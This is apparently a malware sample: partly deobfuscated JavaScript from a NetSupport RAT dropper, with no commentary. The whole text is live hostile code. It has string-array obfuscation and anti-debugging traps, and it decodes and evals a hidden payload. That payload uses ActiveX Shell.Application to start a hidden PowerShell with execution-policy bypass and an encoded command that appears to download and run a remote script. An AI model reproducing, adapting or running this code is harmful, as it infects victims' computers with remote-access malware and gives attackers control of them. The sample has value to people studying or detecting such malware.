NetSupportRAT - Obfuscated JavaScript - Deobfuscated 1

(function (b, W) {
  var B = b();
  while (true) {
    try {
      var N = parseInt(Y(48, 165)) / 1 + parseInt(Y(65, 124)) / 2 * (parseInt(Y(19, -379)) / 3) + parseInt(Y(24, 56)) / 4 + -parseInt(Y(23, -521)) / 5 * (parseInt(Y(104, -370)) / 6) + -parseInt(Y(68, -261)) / 7 + -parseInt(Y(28, -303)) / 8 * (parseInt(Y(56, -797)) / 9) + -parseInt(Y(67, -228)) / 10;
      if (N === W) {
        break;
      } else {
        B.push(B.shift());
      }
    } catch (q) {
      B.push(B.shift());
    }
  }
}(O, 606267));
var A = function () {
  var b = {CmVKp: function (B, N) {
    return B === N;
  }, dhUiW: Y(9, 333), JbVAq: Y(60, -876), pLoZe: function (B, N) {
    return B === N;
  }, NAFkU: "OHOkP", nmlGo: "nDrDW"};
  var W = true;
  return function (B, N) {
    var q = {ILmuy: function (e, I) {
      return b[Y(94, -360)](e, I);
    }, ZEqcw: b[Y(36, 997)], yJqRM: b[Y(98, -645)], JmtSj: function (e, I) {
      return b[Y(54, 677)](e, I);
    }, cTmzO: b.NAFkU};
    if (b[Y(88, 487)] === b.nmlGo) {
      var m = W ? function () {
        if (q.ILmuy(q[Y(45, -403)], q[Y(3, -521)])) {
          if (q) {
            var D = D[Y(108, 24)](d, arguments);
            Z = null;
            return D;
          }
        } else {
          if (N) {
            if (q.JmtSj(Y(10, -376), q[Y(51, -476)])) {
              var e = N[Y(108, -594)](B, arguments);
              N = null;
              return e;
            } else {
              return function (d) {}[Y(1, -438)]("while (true) {}")[Y(108, -340)]("counter");
            }
          }
        }
      } : function () {};
      W = false;
      return m;
    } else {
      return true;
    }
  };
}();
function O() {
  var Ej = ["xzivN", "EMVnf", "TKMJE", "qpHsS", "counter", "BsQeg", "jSVZi", "diyER", "0A>22AaQBuAGcAKA>22>2B>20>2F>2FIxqOgMKi>0D>0A>22AiAGgAdAB>30AHAA>22>2B>20>2F>2", "aEmpj", "VAfXH", "test", "hvuUh", ">0D>0A>22gB>30ACkALgBkAG>38AdwBuAGwA", "0>28FkLgcBCiVTGsmxdvpeb>2E", "FvWEp", "nmlGo", "MDYYX", "SQUdq", "qgVlR", "gger", "action", "CmVKp", "KpSDg", ">2FIxqOgMKi>0D>0A>22E>34AZQB>33AC>30ATwBiAGoAZ", "M>0D>", "JbVAq", "2FIxqOgMKi>0D>0A>22AMQBvAHQ>22>2B>20>2F>2FIxqOgMKi", "0ActiveXObject>28>22SCRiPtIng>2EfilesystemobJECt>22>29>3B>20if>2", "bwBhAGQAcwB>30AHI>22>2B>20>2F", "sQLsM", "UUQHX", "703572UzyMoT", "xufeS", "EbuFJ", "IpBML", "apply", "length", "function *\\( *\\)", "constructor", "FkzBa", "yJqRM", "kqFyP", ">2FIxqOgMKi>0D>", "FolderExists>28>22C>3A>5C", "Bybcj", "aTzWI", "dxLPY", "OHOkP", "qbIjJ", "G>34AZA>22>2B>20>2F>2FIxq", "FUmExrsgJuDvLhVadkAWOTICPXF>0D>0AoMKilXfTnLOHCUhAFBP>20>3D>20>22sheLl>22>3B>", "OgMKi>0D>0A>22BlAHgALgBwAGgAcAAiACkA>22>2C>20>22>22>2C>20>22open>22>2C>20>30>29>3B>20>7D>0D>0A>2F>2FkdbyVceRuXIHitqmTjngWxOZAG", "zWdcO", "20>2F>2FIxqOgMKi>0D>0A>22BFAFg", "GbOcN", "nQUhN", "1011759EmQrrQ", "PybAt", "chain", "Mpbyu", "25DZYdzX", "4803340ZpxPTT", "pUbcq", ">22", "20YZqOsTxnMmpABJCF>20>3D>20new>20ActiveXObject>28oMKilXfTnLOH", "24nuhbzG", "lzhVP", "Lwira", "WIOII", "replace", "AIAAoA>22>2B>20>2F", "wYRJD", "xJWUU", "dhUiW", "mGTTZ", "2B>22>20>2", "AZQBiAGMAb", "LgcBCiVTGsmxdvpe", "OTSWY", "gUWzv", "vwIZR", "uRqzM", "ZEqcw", "\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "init", "56371UHBMAd", "22>2Fc", "stateObject", "cTmzO", "while (true) {}", "OTDiM", "pLoZe", "pYymh", "1759752YocCuj", "input", "Bcdqr", "QJSGX", "DLGuQ", "iALmo", "ABpAGUAb>22>2B>20>2F>2FIxqOgMKi", "BhxNi", "WwsZx", "4AXbKzr", "call", "1468840CAueJG", "39669lNjGPn", "yCjCK", "HWrFV", "naPSm"];
  O = function () {
    return Ej;
  };
  return O();
}
(function () {
  var b = {xzivN: Y(0, -399), gUWzv: function (W, B) {
    return W(B);
  }, JNjyC: Y(47, -315), FkzBa: function (W, B) {
    return W + B;
  }, VAfXH: function (W, B) {
    return W(B);
  }, Bybcj: function (W, B) {
    return W !== B;
  }, WIOII: Y(87, 344), HWrFV: Y(11, -995), KpSDg: "chain", Mpbyu: "input", aqbfU: "YfSLD", vwIZR: function (W, B) {
    return W === B;
  }, BsQeg: Y(74, -915), xufeS: function (W) {
    return W();
  }};
  A(this, function () {
    if (b[Y(7, 160)](b[Y(31, 1026)], b[Y(70, -891)])) {
      var W = new RegExp(b.xzivN);
      var B = new RegExp(Y(46, -871), "i");
      var N = b[Y(42, -919)](E, b.JNjyC);
      if (!W[Y(83, 1070)](b[Y(2, 612)](N, b[Y(95, -787)])) || !B[Y(83, 659)](N + b[Y(22, 625)])) {
        if (b.Bybcj(b.aqbfU, Y(34, -876))) {
          N("0");
        } else {
          var m = e ? function () {
            if (m) {
              var R = u.apply(h, arguments);
              F = null;
              return R;
            }
          } : function () {};
          G = false;
          return m;
        }
      } else {
        if (b[Y(43, -890)](b[Y(77, -625)], b.BsQeg)) {
          b[Y(105, -418)](E);
        } else {
          var e = new q(b[Y(72, -895)]);
          var I = new m(Y(46, -839), "i");
          var D = b.gUWzv(e, b.JNjyC);
          if (!e[Y(83, -810)](b[Y(2, -962)](D, Y(21, -727))) || !I.test(b[Y(2, -881)](D, Y(57, 1022)))) {
            D("0");
          } else {
            D();
          }
        }
      }
    } else {
      if (N) {
        return e;
      } else {
        b[Y(82, -875)](I, 0);
      }
    }
  })();
}());
var YLJajsi = ">2F>2" + Y(13, -99) + Y(27, 609) + "CUhAFBP>2B>22>2E>22>2B>20>2F>2FIxqOgMKi>0D>0A>22ApPlIcAtIon>22>29>3B>20Fk" + Y(40, 685) + "b>20>3D>20new>2" + Y(100, 355) + Y(86, -32) + Y(6, -124) + ">5CpROgRa>22>2B>2" + "0>2F>2FIxqOgMKi>0D>0A>22mdAta>5C>5CmIcRosOft>5C>5CwINdoWs>22>29>29>2" + "0>7B>0D>0A>2F>" + "2FYhALZvBkf" + "yGVcEPoHRNqI" + Y(97, 587) + "0AYZqOsTxnMmpABJCF>2EShellExecute>28>22cmd>22>2C>20>" + Y(49, 299) + Y(26, -104) + ">2B>20>2F>2FIxq" + "OgMKi>0D>0A>22>20Power>22>2BoMKilXfTnLOHCUhAFBP>" + Y(38, 343) + "D" + "nop>20>2Dw>20hidden>20>22>2B>20>2F>2FIxqOgMKi>0D>0A>22>2Dep>20bypaSS>20>2DenC>20SQ>22>2B>" + Y(16, 668) + Y(33, -34) + Y(96, 360) + "QBjAHQAIABOAGUAdAAuAFc" + Y(39, 641) + Y(62, -1) + Y(85, -107) + Y(101, 527) + Y(5, -114) + Y(80, -914) + "FIxqOgMKi>0D>0A>22OgAvAC>38>22" + ">2B>" + "20>2F>" + Y(99, 327) + ">0" + "D>0A>22AYQBsAC>34AYwBvAG>30ALwBpAG>34AZABlAHg" + "ALwBpA" + Y(12, 336) + Y(14, 629);
tuKEfrH = unescape(YLJajsi[Y(32, 636)](/\>/g, "%"));
function Y(E, A) {
  var b = O();
  Y = function (W, B) {
    W = W - 0;
    var N = b[W];
    return N;
  };
  return Y(E, A);
}
YLJajsi = eval(tuKEfrH);
function E(b) {
  var W = {zWdcO: "debu", RguDL: function (N) {
    return N();
  }, EMVnf: function (N, q) {
    return N === q;
  }, Lwira: Y(63, -72), tvMuP: function (N, q) {
    return N(q);
  }, ZElGq: Y(0, -224), kqFyP: function (N, q) {
    return N(q);
  }, sQLsM: Y(17, -862), SQUdq: function (N, q) {
    return N === q;
  }, diyER: function (N, q) {
    return N !== q;
  }, ElDVP: Y(69, -897), nQUhN: Y(76, -119), lzhVP: "NMgRb", pUbcq: "tISlQ", xJWUU: function (N, q) {
    return N !== q;
  }, aEmpj: function (N, q) {
    return N / q;
  }, pYGcF: Y(109, -840), fSumB: function (N, q) {
    return N % q;
  }, YtxWF: function (N, q) {
    return N !== q;
  }, mGTTZ: Y(103, -856), hvuUh: function (N, q) {
    return N + q;
  }, wEPJt: Y(93, -557), MDYYX: Y(41, -882), aTzWI: Y(92, -803), PybAt: "stateObject", qrCPF: Y(71, -756), jSVZi: function (N, q) {
    return N === q;
  }, QJSGX: Y(61, -769), Bcdqr: Y(44, -793)};
  function B(N) {
    var q = {SfkWs: function (m, e) {
      return W.tvMuP(m, e);
    }, qhoqJ: function (m, e) {
      return m === e;
    }, QIekA: Y(106, -188), ZXYKK: function (m, e) {
      return m(e);
    }, exPOH: W.ZElGq, eSdVT: function (m, e) {
      return W[Y(4, 552)](m, e);
    }, RTXbT: function (m, e) {
      return m + e;
    }, WwsZx: Y(57, 883), OTDiM: function (m) {
      return m();
    }};
    if ("qHdRH" !== W[Y(102, -213)]) {
      if (W[Y(90, 984)](typeof N, "string")) {
        if (W.diyER(W.ElDVP, "yCjCK")) {
          var I = N.apply(q, arguments);
          m = null;
          return I;
        } else {
          return function (e) {}[Y(1, -675)](Y(52, -283))[Y(108, 1028)](W[Y(18, -500)]);
        }
      } else {
        if (W[Y(29, -952)] !== W[Y(25, -944)]) {
          if (W[Y(35, -863)](("" + W[Y(81, -268)](N, N))[W.pYGcF], 1) || W[Y(73, -673)](W.fSumB(N, 20), 0)) {
            if (W.YtxWF(Y(75, -836), W[Y(37, 961)])) {
              (function () {
                if (q.qhoqJ(q.QIekA, Y(91, 249))) {
                  q.SfkWs(W, "0");
                } else {
                  return true;
                }
              }.constructor(W[Y(84, 995)](W.zWdcO, Y(92, 970)))[Y(66, -587)](W.wEPJt));
            } else {
              (function () {
                return false;
              }[Y(1, -422)](W[Y(15, 451)] + Y(92, -224))[Y(108, 1002)](Y(50, 405)));
            }
          } else {
            if (W[Y(89, -203)] !== "eEfTx") {
              (function () {
                var I = {wWTHo: function (D) {
                  return W.RguDL(D);
                }};
                if (W[Y(73, -268)](Y(63, -175), W[Y(30, -125)])) {
                  return false;
                } else {
                  I.wWTHo(W);
                }
              }[Y(1, -411)]("debu" + W[Y(8, 395)])[Y(108, -571)](W[Y(20, -429)]));
            } else {
              return false;
            }
          }
        } else {
          q.ZXYKK(W, 0);
        }
      }
      B(++N);
    } else {
      var Z = {pYymh: q.exPOH, IxZcP: Y(46, -308), kWlXl: function (G, r) {
        return q.eSdVT(G, r);
      }, IpBML: function (G, r) {
        return q.RTXbT(G, r);
      }, UJXkI: q[Y(64, -918)], TDDLu: function (G) {
        return q[Y(53, 940)](G);
      }};
      m(this, function () {
        var F = new Z(Z[Y(55, 309)]);
        var l = new G(Z.IxZcP, "i");
        var R = Z.kWlXl(r, Y(47, 10));
        if (!F[Y(83, 332)](R + "chain") || !l.test(Z[Y(107, -686)](R, Z.UJXkI))) {
          R("0");
        } else {
          Z.TDDLu(v);
        }
      })();
    }
  }
  try {
    if (b) {
      if (W[Y(79, -548)]("naPSm", W.qrCPF)) {
        return W;
      } else {
        return B;
      }
    } else {
      if (W[Y(78, -77)](W[Y(59, -694)], W[Y(58, -735)])) {
        (function () {
          return true;
        }[Y(1, 157)](W.hvuUh(W[Y(15, -607)], W[Y(8, -217)]))[Y(66, -836)](Y(93, -848)));
      } else {
        B(0);
      }
    }
  } catch (m) {}
}